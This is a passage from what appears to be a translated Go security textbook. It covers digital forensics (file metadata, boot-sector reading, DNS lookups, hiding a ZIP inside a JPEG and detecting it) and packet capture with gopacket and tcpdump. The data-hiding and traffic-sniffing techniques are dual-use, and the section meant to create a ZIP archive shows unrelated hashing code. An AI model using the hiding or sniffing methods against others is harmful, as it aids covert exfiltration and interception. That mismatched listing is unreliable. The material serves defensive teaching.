defer response.Body.Close()
// Write bytes from HTTP response to file.
// response.Body satisfies the reader interface.
// newFile satisfies the writer interface.
// That allows us to use io.Copy which accepts
// any type that implements reader and writer interface
numBytesWritten, err := io.Copy(newFile, response.Body)
if err != nil {
log.Fatal(err)
}
log.Printf("Downloaded %d byte file.\n", numBytesWritten)
}
总结
阅读完本章后,你应该已经熟悉了一些与文件交互的不同方式,并且能够自如地执行基本操作。目标不是记住所有这些函数名,而是意识到有哪些工具可用。如果你需要示例代码,本章可以作为参考,但我鼓励你创建一个食谱库,收集像这样的代码片段。
有用的文件函数分布在多个包中。os 包仅包含用于处理文件的基本操作,如打开、关闭和简单的读取操作。io 包提供了比 os 包更高层次的可以在读取和写入接口上使用的函数。ioutil 包提供了更高级的便捷函数,用于处理文件。
在下一章中,我们将讨论取证的主题。内容将包括如何查找异常的文件,如异常大的或最近修改的文件。除了文件取证外,我们还将讨论一些网络取证调查话题,即查找主机的主机名、IP 地址和 MX 记录。取证章节还包括一些基本的隐写术示例,展示如何在图像中隐藏数据以及如何在图像中查找隐藏的数据。
第四章:法医学
法医学是收集证据以侦测犯罪的过程。数字法医学指的就是寻找数字证据,包括定位可能包含相关信息的异常文件、寻找隐藏数据、确定文件最后修改时间、确定谁发送了邮件、对文件进行哈希处理、收集有关攻击 IP 的信息,或捕获网络通信。
除了法医学,本章还将介绍一个简单的隐写术示例——将档案隐藏在图像中。隐写术是一种将信息隐藏在其他信息中的技巧,使其不易被发现。
哈希处理与法医学相关,详细内容见第六章,密码学,而数据包捕获则在第五章,数据包捕获与注入中进行讲解。你将在本书的各章中找到可能对法医调查员有用的示例。
在这一章中,你将学习以下内容:
-
文件法医学
-
获取基本文件信息
-
查找大文件
-
查找最近修改的文件
-
读取磁盘的启动扇区
-
网络法医学
-
查找主机名和 IP 地址
-
查找 MX 邮件记录
-
查找主机的名称服务器
-
隐写术
-
将档案隐藏在图像中
-
检测隐藏在图像中的档案
-
生成随机图像
-
创建一个 ZIP 压缩档案
文件
文件法医学很重要,因为攻击者可能会留下痕迹,需要在做出更多更改或丢失信息之前收集证据。这包括确定文件的所有者、文件最后修改时间、谁有权限访问文件,并检查文件中是否有隐藏的数据。
获取文件信息
让我们从一些简单的内容开始。本程序将打印出关于文件的信息,即文件最后修改时间、文件所有者、文件大小以及文件权限。这也将作为一个良好的测试,确保你的 Go 开发环境已正确设置。
如果调查员发现了异常文件,首先需要检查所有基本的元数据。这将提供关于文件所有者、哪些群组可以访问该文件、文件最后修改时间、是否是可执行文件以及文件的大小等信息。这些信息可能都非常有用。
我们将使用的主要函数是os.Stat()。它返回一个FileInfo结构体,我们将打印出来。为了调用os.Stat(),我们需要在开始时导入os包。os.Stat()会返回两个变量,这与许多只允许返回一个变量的语言不同。如果你想忽略某个返回变量(如错误),可以使用下划线(_)符号代替变量名。
我们导入的fmt(格式化输出的缩写)包包含了典型的打印函数,如fmt.Println()和fmt.Printf()。log包包含了log.Printf()和log.Println()。fmt和log的区别在于,log在消息前会打印一个时间戳,并且是线程安全的。
log包有一个fmt包没有的函数,即log.Fatal(),它在打印信息后会立即调用os.Exit(1)退出程序。log.Fatal()函数对于处理某些错误条件很有用,它会打印错误信息并退出。如果你想要干净的输出并完全控制格式,请使用fmt的打印函数。如果你需要在每条消息中附带时间戳,可以使用log包的打印函数。在收集法医线索时,记录下每个操作的时间是非常重要的。
在这个例子中,变量在main函数之前的独立部分中定义。在这个作用域内的变量对于整个包都是可用的。这意味着每个函数都在同一个文件中,其他文件也在相同目录下,并使用相同的包声明。这个定义变量的方法只是为了展示 Go 语言是如何实现的,它是 Pascal 语言对 Go 的影响之一,此外还有:=操作符。将所有变量在顶部明确列出并标明数据类型是很方便的。为了在后面的例子中节省空间,我们将使用声明并赋值操作符或:=符号。这在编写代码时非常方便,因为你不需要先声明变量类型,编译时会自动推断数据类型。然而,在阅读源代码时,明确声明变量类型有助于读者理解代码。我们也可以将整个var声明放入main函数内,以进一步限制作用域:
package main
import (
"fmt"
"log"
"os"
)
var (
fileInfo os.FileInfo
err error
)
func main() {
// Stat returns file info. It will return
// an error if there is no file.
fileInfo, err = os.Stat("test.txt")
if err != nil {
log.Fatal(err)
}
fmt.Println("File name:", fileInfo.Name())
fmt.Println("Size in bytes:", fileInfo.Size())
fmt.Println("Permissions:", fileInfo.Mode())
fmt.Println("Last modified:", fileInfo.ModTime())
fmt.Println("Is Directory: ", fileInfo.IsDir())
fmt.Printf("System interface type: %T\n", fileInfo.Sys())
fmt.Printf("System info: %+v\n\n", fileInfo.Sys())
}
查找最大文件
在调查过程中,大文件通常是嫌疑的首选对象。大型数据库转储、密码转储、彩虹表、信用卡缓存、被盗的知识产权以及其他数据常常被存储在一个大型档案中,如果你有合适的工具,这类文件很容易被发现。此外,寻找异常大的图像或视频文件也很有帮助,因为它们可能隐藏有通过隐写术加密的信息。隐写术将在本章进一步讨论。
这个程序将在一个目录及其所有子目录中搜索所有文件,并按文件大小排序。我们将使用ioutil.ReadDir()来探索初始目录,以获取作为os.FileInfo结构体切片的内容。为了检查文件是否是目录,我们将使用os.IsDir()。然后我们将创建一个名为FileNode的自定义数据结构来存储所需的信息。我们使用链表来存储文件信息。在将元素插入链表之前,我们会遍历它,找到合适的位置,以保持链表的正确排序。请注意,在像/这样的目录上运行程序可能会花费很长时间。尝试使用更具体的目录,比如你的home文件夹:
package main
import (
"container/list"
"fmt"
"io/ioutil"
"log"
"os"
"path/filepath"
)
type FileNode struct {
FullPath string
Info os.FileInfo
}
func insertSorted(fileList *list.List, fileNode FileNode) {
if fileList.Len() == 0 {
// If list is empty, just insert and return
fileList.PushFront(fileNode)
return
}
for element := fileList.Front(); element != nil; element =
element.Next() {
if fileNode.Info.Size() < element.Value.(FileNode).Info.Size()
{
fileList.InsertBefore(fileNode, element)
return
}
}
fileList.PushBack(fileNode)
}
func getFilesInDirRecursivelyBySize(fileList *list.List, path string) {
dirFiles, err := ioutil.ReadDir(path)
if err != nil {
log.Println("Error reading directory: " + err.Error())
}
for _, dirFile := range dirFiles {
fullpath := filepath.Join(path, dirFile.Name())
if dirFile.IsDir() {
getFilesInDirRecursivelyBySize(
fileList,
filepath.Join(path, dirFile.Name()),
)
} else if dirFile.Mode().IsRegular() {
insertSorted(
fileList,
FileNode{FullPath: fullpath, Info: dirFile},
)
}
}
}
func main() {
fileList := list.New()
getFilesInDirRecursivelyBySize(fileList, "/home")
for element := fileList.Front(); element != nil; element =
element.Next() {
fmt.Printf("%d ", element.Value.(FileNode).Info.Size())
fmt.Printf("%s\n", element.Value.(FileNode).FullPath)
}
}
查找最近修改的文件
在法医检查受害者机器时,首先可以做的一件事是查找最近被修改的文件。这可能会为你提供关于攻击者查看了哪些地方、修改了哪些设置,或他们的动机是什么的线索。
然而,如果调查员正在检查攻击者的机器,那么目标会有所不同。最近访问的文件可能会提供线索,告诉你攻击者使用了哪些工具,在哪些地方可能隐藏了数据,或者他们使用了什么软件。
以下示例将搜索一个目录及其子目录,找到所有文件,并按最后修改时间排序。这个示例与前一个非常相似,不同之处在于排序是通过使用time.Time.Before()函数比较时间戳来完成的:
package main
import (
"container/list"
"fmt"
"io/ioutil"
"log"
"os"
"path/filepath"
)
type FileNode struct {
FullPath string
Info os.FileInfo
}
func insertSorted(fileList *list.List, fileNode FileNode) {
if fileList.Len() == 0 {
// If list is empty, just insert and return
fileList.PushFront(fileNode)
return
}
for element := fileList.Front(); element != nil; element =
element.Next() {
if fileNode.Info.ModTime().Before(element.Value.
(FileNode).Info.ModTime()) {
fileList.InsertBefore(fileNode, element)
return
}
}
fileList.PushBack(fileNode)
}
func GetFilesInDirRecursivelyBySize(fileList *list.List, path string) {
dirFiles, err := ioutil.ReadDir(path)
if err != nil {
log.Println("Error reading directory: " + err.Error())
}
for _, dirFile := range dirFiles {
fullpath := filepath.Join(path, dirFile.Name())
if dirFile.IsDir() {
GetFilesInDirRecursivelyBySize(
fileList,
filepath.Join(path, dirFile.Name()),
)
} else if dirFile.Mode().IsRegular() {
insertSorted(
fileList,
FileNode{FullPath: fullpath, Info: dirFile},
)
}
}
}
func main() {
fileList := list.New()
GetFilesInDirRecursivelyBySize(fileList, "/")
for element := fileList.Front(); element != nil; element =
element.Next() {
fmt.Print(element.Value.(FileNode).Info.ModTime())
fmt.Printf("%s\n", element.Value.(FileNode).FullPath)
}
}
读取引导扇区
这个程序将读取磁盘的前 512 字节,并将结果以十进制值、十六进制和字符串的形式打印出来。io.ReadFull()函数类似于普通的读取操作,但它确保你提供的数据字节切片被完全填充。如果文件中的字节不足以填充字节切片,它会返回一个错误。
这种方法的实际应用是检查机器的引导扇区,看看它是否被修改。Rootkit 和恶意软件可能通过修改引导扇区劫持引导过程。你可以手动检查其中是否有任何异常,或者将其与已知的良好版本进行比较。也许可以将机器的备份镜像或全新安装的版本与其进行比较,看看是否有所变化。
请注意,技术上你可以传递任何文件名,而不仅仅是磁盘,因为在 Linux 中一切都被视为文件。如果你直接传递设备的名称,例如/dev/sda,它将读取磁盘的前512字节,即引导扇区。主要的磁盘设备通常是/dev/sda,但也可能是/dev/sdb或/dev/sdc。使用mount或df工具可以获取更多关于磁盘名称的信息。你需要以sudo身份运行该应用程序,以便有权限直接读取磁盘设备。
有关文件、输入和输出的更多信息,请参考os、bufio和io包,如以下代码块所示:
package main
// Device is typically /dev/sda but may also be /dev/sdb, /dev/sdc
// Use mount, or df -h to get info on which drives are being used
// You will need sudo to access some disks at this level
import (
"io"
"log"
"os"
)
func main() {
path := "/dev/sda"
log.Println("[+] Reading boot sector of " + path)
file, err := os.Open(path)
if err != nil {
log.Fatal("Error: " + err.Error())
}
// The file.Read() function will read a tiny file in to a large
// byte slice, but io.ReadFull() will return an
// error if the file is smaller than the byte slice.
byteSlice := make([]byte, 512)
// ReadFull Will error if 512 bytes not available to read
numBytesRead, err := io.ReadFull(file, byteSlice)
if err != nil {
log.Fatal("Error reading 512 bytes from file. " + err.Error())
}
log.Printf("Bytes read: %d\n\n", numBytesRead)
log.Printf("Data as decimal:\n%d\n\n", byteSlice)
log.Printf("Data as hex:\n%x\n\n", byteSlice)
log.Printf("Data as string:\n%s\n\n", byteSlice)
}
隐写术
隐写术是将信息隐藏在非秘密信息中的技术。不要与速记术混淆,速记术是记录口述内容的技术,比如法庭记录员在庭审过程中将口头发言转录下来。隐写术有着悠久的历史,一个古老的例子是将摩尔斯电码信息缝在衣物的缝线上。
在数字世界中,人们可以将任何类型的二进制数据隐藏在图像、音频或视频文件中。这个过程可能会影响原始文件的质量,也可能不会。一些图像可以完全保持其原始完整性,但它们在表面下隐藏了额外的数据,形式是一个.zip或.rar压缩包。有些隐写算法比较复杂,将原始二进制数据隐藏在每个字节的最低位,只会略微降低原始质量。其他隐写算法比较简单,仅仅是将图像文件和压缩包合并成一个文件。我们将看看如何将压缩包隐藏在图像中,以及如何检测隐藏的压缩包。
生成带有随机噪声的图像
这个程序将创建一张每个像素都设置为随机颜色的 JPEG 图片。这是一个简单的程序,所以我们只有一个 JPEG 图片可以处理。Go 标准库提供了jpeg、gif和png包。所有不同图像类型的接口是相同的,因此从jpeg切换到gif或png包非常简单:
package main
import (
"image"
"image/jpeg"
"log"
"math/rand"
"os"
)
func main() {
// 100x200 pixels
myImage := image.NewRGBA(image.Rect(0, 0, 100, 200))
for p := 0; p < 100*200; p++ {
pixelOffset := 4 * p
myImage.Pix[0+pixelOffset] = uint8(rand.Intn(256)) // Red
myImage.Pix[1+pixelOffset] = uint8(rand.Intn(256)) // Green
myImage.Pix[2+pixelOffset] = uint8(rand.Intn(256)) // Blue
myImage.Pix[3+pixelOffset] = 255 // Alpha
}
outputFile, err := os.Create("test.jpg")
if err != nil {
log.Fatal(err)
}
jpeg.Encode(outputFile, myImage, nil)
err = outputFile.Close()
if err != nil {
log.Fatal(err)
}
}
创建 ZIP 压缩包
这个程序将创建一个 ZIP 压缩包,以便我们进行隐写术实验。Go 标准库提供了一个zip包,但它也支持通过tar包处理 TAR 压缩包。这个示例生成一个包含两个文件的 ZIP 文件:test.txt和test2.txt。为了简化起见,每个文件的内容在源代码中都作为硬编码字符串给出:
package main
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/sha512"
"fmt"
"io/ioutil"
"log"
"os"
)
func printUsage() {
fmt.Println("Usage: " + os.Args[0] + " <filepath>")
fmt.Println("Example: " + os.Args[0] + " document.txt")
}
func checkArgs() string {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
return os.Args[1]
}
func main() {
filename := checkArgs()
// Get bytes from file
data, err := ioutil.ReadFile(filename)
if err != nil {
log.Fatal(err)
}
// Hash the file and output results
fmt.Printf("Md5: %x\n\n", md5.Sum(data))
fmt.Printf("Sha1: %x\n\n", sha1.Sum(data))
fmt.Printf("Sha256: %x\n\n", sha256.Sum256(data))
fmt.Printf("Sha512: %x\n\n", sha512.Sum512(data))
}
创建隐写图像压缩包
现在我们有了一个图像和一个 ZIP 压缩包,我们可以将它们结合起来,将压缩包“隐藏”在图像内。这可能是最原始的隐写术形式。更高级的方法是将文件逐字节拆分,将信息存储在图像的低位中,使用特定程序从图像中提取数据,然后重建原始数据。这个示例非常好,因为我们可以轻松地测试和验证它是否仍然作为图片加载并且仍然像 ZIP 压缩包一样工作。
以下示例将使用一张 JPEG 图片和一个 ZIP 压缩包,并将它们结合起来创建一个隐藏的压缩包。文件将保留.jpg扩展名,仍然会像普通图片一样显示和运作。但是,该文件仍然可以作为 ZIP 压缩包使用。你可以解压.jpg文件,压缩包内的文件将被提取出来:
package main
import (
"io"
"log"
"os"
)
func main() {
// Open original file
firstFile, err := os.Open("test.jpg")
if err != nil {
log.Fatal(err)
}
defer firstFile.Close()
// Second file
secondFile, err := os.Open("test.zip")
if err != nil {
log.Fatal(err)
}
defer secondFile.Close()
// New file for output
newFile, err := os.Create("stego_image.jpg")
if err != nil {
log.Fatal(err)
}
defer newFile.Close()
// Copy the bytes to destination from source
_, err = io.Copy(newFile, firstFile)
if err != nil {
log.Fatal(err)
}
_, err = io.Copy(newFile, secondFile)
if err != nil {
log.Fatal(err)
}
}
在 JPEG 图像中检测 ZIP 压缩包
如果使用前面示例中的技术隐藏了数据,可以通过在图像中搜索 ZIP 文件签名来检测。一个文件可能有.jpg扩展名,仍然能够在照片查看器中正确加载,但它仍可能包含一个 ZIP 存档。以下程序会遍历文件并查找 ZIP 文件签名。我们可以使用它检查前一个示例中创建的文件:
package main
import (
"bufio"
"bytes"
"log"
"os"
)
func main() {
// Zip signature is "\x50\x4b\x03\x04"
filename := "stego_image.jpg"
file, err := os.Open(filename)
if err != nil {
log.Fatal(err)
}
bufferedReader := bufio.NewReader(file)
fileStat, _ := file.Stat()
// 0 is being cast to an int64 to force i to be initialized as
// int64 because filestat.Size() returns an int64 and must be
// compared against the same type
for i := int64(0); i < fileStat.Size(); i++ {
myByte, err := bufferedReader.ReadByte()
if err != nil {
log.Fatal(err)
}
if myByte == '\x50' {
// First byte match. Check the next 3 bytes
byteSlice := make([]byte, 3)
// Get bytes without advancing pointer with Peek
byteSlice, err = bufferedReader.Peek(3)
if err != nil {
log.Fatal(err)
}
if bytes.Equal(byteSlice, []byte{'\x4b', '\x03', '\x04'}) {
log.Printf("Found zip signature at byte %d.", i)
}
}
}
}
网络
有时,日志中会出现一个奇怪的 IP 地址,您需要找出更多信息,或者可能有一个域名,您需要根据 IP 地址来进行地理定位。这些示例展示了如何收集主机信息。数据包捕获也是网络取证调查的一个重要部分,但关于数据包捕获有很多可以讨论的内容,因此,第五章,数据包捕获与注入专门讲解数据包捕获和注入。
从 IP 地址查找主机名
这个程序将接受一个 IP 地址,并找出对应的主机名。net.parseIP()函数用于验证提供的 IP 地址,而net.LookupAddr()执行实际的工作,找出主机名是什么。
默认情况下,使用的是纯 Go 解析器。可以通过设置GODEBUG环境变量中的netdns值来覆盖解析器。将GODEBUG的值设置为go或cgo。在 Linux 中,您可以使用以下 Shell 命令进行设置:
export GODEBUG=netdns=go # force pure Go resolver (Default)
export GODEBUG=netdns=cgo # force cgo resolver
这是程序的代码:
package main
import (
"fmt"
"log"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
log.Fatal("No IP address argument provided.")
}
arg := os.Args[1]
// Parse the IP for validation
ip := net.ParseIP(arg)
if ip == nil {
log.Fatal("Valid IP not detected. Value provided: " + arg)
}
fmt.Println("Looking up hostnames for IP address: " + arg)
hostnames, err := net.LookupAddr(ip.String())
if err != nil {
log.Fatal(err)
}
for _, hostnames := range hostnames {
fmt.Println(hostnames)
}
}
从主机名查找 IP 地址
以下示例接受一个主机名并返回 IP 地址。它与之前的示例非常相似,但顺序相反。net.LookupHost()函数承担了主要工作:
package main
import (
"fmt"
"log"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
log.Fatal("No hostname argument provided.")
}
arg := os.Args[1]
fmt.Println("Looking up IP addresses for hostname: " + arg)
ips, err := net.LookupHost(arg)
if err != nil {
log.Fatal(err)
}
for _, ip := range ips {
fmt.Println(ip)
}
}
查找 MX 记录
该程序将接受一个域名并返回 MX 记录。MX 记录(邮件交换记录)是指向邮件服务器的 DNS 记录。例如,www.devdungeon.com/的 MX 服务器是mail.devdungeon.com。net.LookupMX()函数执行此查找并返回一个net.MX结构体切片:
package main
import (
"fmt"
"log"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
log.Fatal("No domain name argument provided")
}
arg := os.Args[1]
fmt.Println("Looking up MX records for " + arg)
mxRecords, err := net.LookupMX(arg)
if err != nil {
log.Fatal(err)
}
for _, mxRecord := range mxRecords {
fmt.Printf("Host: %s\tPreference: %d\n", mxRecord.Host,
mxRecord.Pref)
}
}
查找主机名的 DNS 服务器
该程序将查找与给定主机名相关联的 DNS 服务器。这里的主要功能是net.LookupNS():
package main
import (
"fmt"
"log"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
log.Fatal("No domain name argument provided")
}
arg := os.Args[1]
fmt.Println("Looking up nameservers for " + arg)
nameservers, err := net.LookupNS(arg)
if err != nil {
log.Fatal(err)
}
for _, nameserver := range nameservers {
fmt.Println(nameserver.Host)
}
}
总结
阅读完本章后,您应该对数字取证调查的目标有了基本了解。每个主题都可以深入讨论,取证是一个专业领域,值得拥有自己的书籍,更不用说是一个章节了。
使用您阅读过的示例作为起点,思考一下如果您面对一台被攻破的机器,并且您的目标是找出攻击者如何入侵、发生的时间、他们访问了什么、修改了什么、动机是什么、泄露了多少数据以及您能够找到的其他信息,以便识别攻击者身份或其在系统上采取的行动。
一个熟练的对手会尽力掩盖自己的踪迹并避免被取证检测。因此,保持对最新工具和趋势的了解非常重要,这样在调查时你才能知道应该寻找哪些技巧和线索。
这些示例可以扩展、自动化,并集成到其他执行大规模取证搜索的应用程序中。借助 Go 语言的可扩展性,可以轻松创建一个工具,以高效的方式搜索整个文件系统或网络。
在下一章,我们将讨论如何使用 Go 进行数据包捕获。我们将从基本的内容开始,比如获取网络设备列表并将网络流量转储到文件中。接着,我们将讨论如何使用过滤器来查找特定的网络流量。此外,我们还将探讨使用 Go 接口解码和检查数据包的更高级技巧。我们还将介绍如何创建自定义数据包层以及从网络卡伪造和发送数据包,从而允许你发送任意数据包。
第五章:数据包捕获与注入
数据包捕获是监控通过网络传输的原始流量的过程。这适用于有线以太网和无线网络设备。tcpdump 和 libpcap 包是数据包捕获的标准。它们是在 1980 年代编写的,至今仍在使用。gopacket 包不仅封装了 C 库,还增加了 Go 的抽象层,使其更加符合 Go 语言的习惯并更便于使用。
pcap 库允许你收集关于网络设备的信息,读取从网络传输的数据包,从链路上 存储流量到 .pcap 文件,根据多个标准过滤流量,或者伪造自定义数据包并通过网络设备发送。对于 pcap 库,过滤是通过 伯克利数据包过滤器 (BPF) 完成的。
数据包捕获有无数的用途。它可以用来设置蜜罐并监控接收到的流量类型。它可以帮助法医调查,以确定哪些主机执行了恶意操作,哪些主机被利用。它可以协助识别网络中的瓶颈。它也可以被恶意使用,用于从无线网络窃取信息、执行数据包扫描、模糊测试、ARP 欺骗等攻击。
这些示例需要非 Go 依赖项和 libpcap 包,因此,运行起来可能会更具挑战性。如果你没有将 Linux 作为主要桌面操作系统,我强烈建议你使用 Ubuntu 或其他 Linux 发行版,并在虚拟机中运行这些示例,以获得最佳效果。
Tcpdump 是由 libpcap 的作者编写的应用程序。Tcpdump 提供了一个命令行工具来捕获数据包。这些示例将让你复制 tcpdump 包的功能,并将其嵌入到其他应用程序中。有些示例与 tcpdump 的现有功能非常相似,并且在适用的情况下,将提供 tcpdump 的示例用法。由于 gopacket 和 tcpdump 都依赖于相同的底层 libpcap 包,它们的文件格式是兼容的。你可以使用 tcpdump 捕获文件并使用 gopacket 读取,也可以使用 gopacket 捕获数据包并用任何支持 libpcap 的应用程序读取,比如 Wireshark。
gopacket 包的官方文档可以在 godoc.org/github.com/google/gopacket 查阅。
前提条件
在运行这些示例之前,你需要安装 libpcap。此外,我们还需要使用一个第三方 Go 包。幸运的是,这个包是由 Google 提供的,一个值得信赖的来源。Go 的 get 功能会下载并安装这个远程包。Git 也需要正确安装,才能使 go get 正常工作。
安装 libpcap 和 Git
libpcap 包依赖项并不是大多数系统默认安装的,每个操作系统的安装过程有所不同。这里将涵盖在 Ubuntu、Windows 和 macOS 上安装 libpcap 和 git 的步骤。我强烈建议你使用 Ubuntu 或其他 Linux 发行版,以获得最佳效果。没有 libpcap,gopacket 将无法工作,而 git 则是获取 gopacket 依赖项所必需的。
在 Ubuntu 上安装 libpcap
在 Ubuntu 中,libpcap-0.8 已经默认安装。但为了安装 gopacket 库,你还需要开发包中的头文件。你可以通过 libpcap-dev 包来安装头文件。我们还将安装 git,因为在稍后安装 gopacket 时需要运行 go get 命令:
sudo apt-get install git libpcap-dev
在 Windows 上安装 libpcap
Windows 是最棘手的,且会出现最多问题。Windows 的实现支持不太好,效果可能因人而异。WinPcap 与 libpcap 兼容,示例中使用的源代码无需修改即可正常工作。在 Windows 中运行时,唯一明显的区别是网络设备的命名方式。
可以从 www.winpcap.org/ 获取 WinPcap 安装程序,这是一个必需组件。如果需要开发者包,可以从 www.winpcap.org/devel.htm 获取,其中包含 C 语言编写的头文件和示例程序。在大多数情况下,你不需要开发者包。Git 可以从 git-scm.com/download/win 下载。你还需要从 www.mingw.org 获取用于编译器的 MinGW。你需要确保 32 位和 64 位设置一致。你可以设置 GOARCH=386 或 GOARCH=amd64 环境变量来切换 32 位和 64 位模式。
在 macOS 上安装 libpcap
在 macOS 中,libpcap 已经默认安装。你还需要 Git,可以通过 Homebrew 从 brew.sh 安装,或者通过 Git 包管理器安装,后者可以从 git-scm.com/downloads 获取。
安装 gopacket
在安装了 libpcap 和 git 包后,你可以从 GitHub 获取 gopacket 包:
go get github.com/google/gopacket
权限问题
在 Linux 和 macOS 环境中执行程序时,如果尝试访问网络设备,可能会遇到权限问题。你可以使用 sudo 提升权限或将用户切换为 root,但不推荐这样做。
获取网络设备列表
pcap 库的一部分包含一个获取网络设备列表的功能。
该程序将简单地获取网络设备列表并列出其信息。在 Linux 中,常见的默认设备名称是eth0或wlan0。在 Mac 上是en0。在 Windows 上,名称较长且不可读,因为它们代表的是唯一的 ID。你将在后续示例中使用设备名称作为字符串来标识要捕获的设备。如果你没有看到确切的设备列表,可能需要使用管理员权限(例如sudo)运行该示例。
用于列出设备的等效tcpdump命令如下:
tcpdump -D
你也可以使用以下命令:
tcpdump --list-interfaces
你还可以使用ifconfig和ip等工具来获取网络设备的名称:
package main
import (
"fmt"
"log"
"github.com/google/gopacket/pcap"
)
func main() {
// Find all devices
devices, err := pcap.FindAllDevs()
if err != nil {
log.Fatal(err)
}
// Print device information
fmt.Println("Devices found:")
for _, device := range devices {
fmt.Println("\nName: ", device.Name)
fmt.Println("Description: ", device.Description)
fmt.Println("Devices addresses: ", device.Description)
for _, address := range device.Addresses {
fmt.Println("- IP address: ", address.IP)
fmt.Println("- Subnet mask: ", address.Netmask)
}
}
}
捕获数据包
以下程序演示了捕获数据包的基础知识。设备名称作为字符串传入。如果你不知道设备名称,可以使用之前的示例获取机器上可用设备的列表。如果没有看到准确列出的设备,可能需要提升权限并使用sudo运行该程序。
混杂模式是你可以启用的一种选项,用来监听那些不是为你的设备指定的数据包。混杂模式对于无线设备尤为重要,因为无线网络设备实际上具备接收空中广播的数据包的能力,这些数据包本应发送给其他接收者。
无线流量特别容易受到嗅探攻击,因为所有数据包都是通过空中广播的,而不是通过以太网进行传输,后者需要物理访问才能拦截流量。为顾客提供不加密的免费无线网络在咖啡馆等场所非常常见。这对客人很方便,但也会让你的信息面临风险。如果某个场所提供加密的无线网络,这并不意味着它就一定更安全。如果密码贴在墙上或者随便发放,那么任何拥有密码的人都可以解密无线流量。为了增强客用无线网络的安全性,常用的一种技术是捕获门户。捕获门户要求用户以某种方式进行身份验证,即使是作为访客,然后他们的会话会通过独立的加密进行隔离,这样其他人就无法解密。
提供完全未加密流量的无线接入点必须小心使用。如果你连接到一个传输敏感信息的网站,请确保该网站使用 HTTPS,以便你与访问的网络服务器之间的数据是加密的。VPN 连接也提供通过未加密通道的加密隧道。
有些网站由不知情或疏忽的程序员构建,他们没有在服务器上实现 SSL。有些网站只加密登录页面,以确保你的密码安全,但随后将会话 Cookie 以明文传递。这意味着任何能够捕获无线流量的人都可以看到会话 Cookie,并利用它冒充受害者与 Web 服务器交互。Web 服务器会把攻击者当作受害者已登录的用户。攻击者从未知道密码,但只要会话保持活动状态,就不需要密码。
有些网站没有会话过期时间,用户的会话将保持活动状态,直到显式退出。移动应用特别容易受到这种问题的影响,因为用户很少退出并重新登录应用程序。关闭应用并重新打开并不一定会创建一个新的会话。
这个示例将打开网络设备进行实时捕获,然后打印每个接收到的包的详细信息。程序将持续运行,直到程序通过Ctrl + C被终止:
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
"log"
"time"
)
var (
device = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = 30 * time.Second
handle *pcap.Handle
)
func main() {
// Open device
handle, err = pcap.OpenLive(device, snapshotLen, promiscuous,
timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
// Use the handle as a packet source to process all packets
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// Process packet here
fmt.Println(packet)
}
}
使用过滤器进行捕获
以下程序演示了如何设置过滤器。过滤器使用 BPF 格式。如果你曾使用过 Wireshark,你可能已经熟悉过滤器。有很多过滤器选项可以进行逻辑组合。过滤器可以非常复杂,并且网上有很多常见过滤器和巧妙技巧的备忘单。以下是一些示例,帮助你了解一些非常基础的过滤器:
-
host 192.168.0.123 -
dst net 192.168.0.0/24 -
port 22 -
not broadcast and not multicast
前面的一些过滤器应该是显而易见的。host过滤器将只显示发送到或来自该主机的包。dst net过滤器将捕获发送到192.168.0.*地址的传入流量。port过滤器只关注端口22的流量。not broadcast and not multicast过滤器演示了如何否定并组合多个过滤器。过滤掉broadcast和multicast非常有用,因为它们往往会干扰捕获。
对于基本捕获,等效的tcpdump命令就是运行它并传递一个接口:
tcpdump -i eth0
如果你想应用过滤器,只需将其作为命令行参数传递,像这样:
tcpdump -i eth0 tcp port 80
这个示例使用了一个过滤器,它只会捕获80端口上的流量,这应该是 HTTP 流量。它并没有指定是本地端口还是远程端口为80,因此它会捕获任何进出端口80的流量。如果你在个人电脑上运行,可能没有运行 Web 服务器,所以它会捕获你通过浏览器产生的 HTTP 流量。如果你在 Web 服务器上运行该捕获,它会捕获传入的 HTTP 请求流量。
在此示例中,使用pcap.OpenLive()创建网络设备的句柄。在从设备读取数据包之前,通过handle.SetBPFFilter()设置过滤器,然后从句柄中读取数据包。关于过滤器的更多信息,请访问en.wikipedia.org/wiki/Berkeley_Packet_Filter。
此示例打开网络设备进行实时捕获,然后使用SetBPFFilter()设置过滤器。在此案例中,我们将使用tcp and port 80过滤器来查找 HTTP 流量。所有捕获的数据包将打印到标准输出:
package main
import (
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
"log"
"time"
)
var (
device = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = 30 * time.Second
handle *pcap.Handle
)
func main() {
// Open device
handle, err = pcap.OpenLive(device, snapshotLen, promiscuous,
timeout)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
// Set filter
var filter string = "tcp and port 80" // or os.Args[1]
err = handle.SetBPFFilter(filter)
if err != nil {
log.Fatal(err)
}
fmt.Println("Only capturing TCP port 80 packets.")
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// Do something with a packet here.
fmt.Println(packet)
}
}
保存到 pcap 文件
该程序将执行数据包捕获并将结果存储到文件中。在此示例中,关键步骤是调用pcapgo包的Writer的WriteFileHeader()函数。之后,可以使用WritePacket()函数将所需的数据包写入文件。如果需要,可以捕获所有流量并根据自己的过滤标准选择仅写入特定数据包。也许你只想将奇数或格式错误的数据包写入日志以记录异常。
要使用tcpdump实现相同的功能,只需传递-w标志和文件名,如以下命令所示:
tcpdump -i eth0 -w my_capture.pcap
使用此示例创建的 pcap 文件可以通过 Wireshark 打开,并像使用tcpdump创建的文件一样查看。
此示例创建一个名为test.pcap的输出文件,并打开网络设备进行实时捕获。它将 100 个数据包捕获到文件中,然后退出:
package main
import (
"fmt"
"os"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket/pcapgo"
)
var (
deviceName = "eth0"
snapshotLen int32 = 1024
promiscuous = false
err error
timeout = -1 * time.Second
handle *pcap.Handle
packetCount = 0
)
func main() {
// Open output pcap file and write header
f, _ := os.Create("test.pcap")
w := pcapgo.NewWriter(f)
